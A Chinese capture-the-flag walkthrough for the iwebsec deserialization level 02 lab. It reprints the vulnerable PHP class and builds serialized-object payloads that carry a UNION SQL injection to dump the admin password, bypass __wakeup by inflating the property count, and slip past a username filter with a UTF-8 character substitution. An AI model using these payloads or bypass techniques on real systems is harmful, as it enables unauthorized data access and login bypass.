序言
翻遍网上文章,未找到iwebsec靶场反序列化02关卡通关方式。
故写一篇,供大家一起学习进步。
环境
本人使用集成iwbsec靶场的虚拟机搭建靶场。
下载:iwebsec靶场
正文
首先访问反序列化靶场02
可以看到页面有源码显示,阅读源码
其中有几个重要函数:
show()、login()、__destruct()
下面依次说明:
show():输出从数据库中获取的username是数组中的元素的username和role
login():判断数据库中是否有用户名和密码为数组中元素的用户,如果有输出flag(当然要经过判断,才能输出)
__destruct():其中有
call_user_func_array函数,
调用回调函数,并把一个数组参数作为回调函数的参数。
最后对前端传入的data做判断
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new WEB("source", array());
}
02关卡需要我们获取一个flag
那么就需要在login函数处,输入正确的账号密码
而在show函数只能输出username和role,不能输出password(在
__conn()函数中可以直接看到users表中的字段
)
所以我们首先要想办法获取password
那么涉及到数据库,且数据库语句可以直接在页面看到,我们可以使用sql注入获取password中的值
payload:
<?php
include "config.php";
class WEB{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
$args = array("-1' union select password,password,password from users where username='orange'-- -");
$a = new WEB('show',$args);
$a_ser = serialize($a);
var_dump($a_ser);
将payload放到靶场中创建的wp02.php文件中,浏览器访问后
选中的部分为执行序列化后的结果,可以看到引号被HTML编码了,所以我们需要将HTML编码解码。
将"替换为"
将替换为%00
将'替换为'
替换的结果为
O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:82:"-1' union select password,password,password from users where username='orange'-- -";}s:9:"%00WEB%00conn";i:0;}
但是需要绕过__wakeup函数,所以需要将对象属性个数的值替换为比真实值大的值
所以最后的payload为:
O:3:"WEB":4:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:82:"-1' union select password,password,password from users where username='orange'-- -";}s:9:"%00WEB%00conn";i:0;}
将payload传入data中
可以看到密码为mall123mall
获取到密码后,就要使用login函数获取flag
构造payload
<?php
include "config.php";
class WEB{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
$args = array("orange","mall123mall");
$a = new WEB('login',$args);
$a_ser = serialize($a);
print_r($a_ser);
将payload放到靶场中wp022.php中,浏览器访问
选中的部分为序列化后的内容
由于序列化时Private属性被序列化时,属性名会变成%00类名%00属性名,而浏览器没有显示%00
所以我们需要把%00补全
补全后的payload为:
O:3:"WEB":3:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{i:0;s:6:"orange";i:1;s:11:"mall123mall";}s:9:"%00WEB%00conn";i:0;}
但是代码中
if ( $username == 'orange' || stripos($sql, 'orange') != false )
有对用户名的判断,所以需要使用%C3%83代替orange中的a进行绕过,那么,响应的长度就需要+1
最终payload为:
O:3:"WEB":3:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{i:0;s:7:"or%C3%83nge";i:1;s:11:"mall123mall";}s:9:"%00WEB%00conn";i:0;}
将payload输入data中:
获取到flag。
版权归原作者 天雨栗 所有, 如有侵权,请联系我们删除。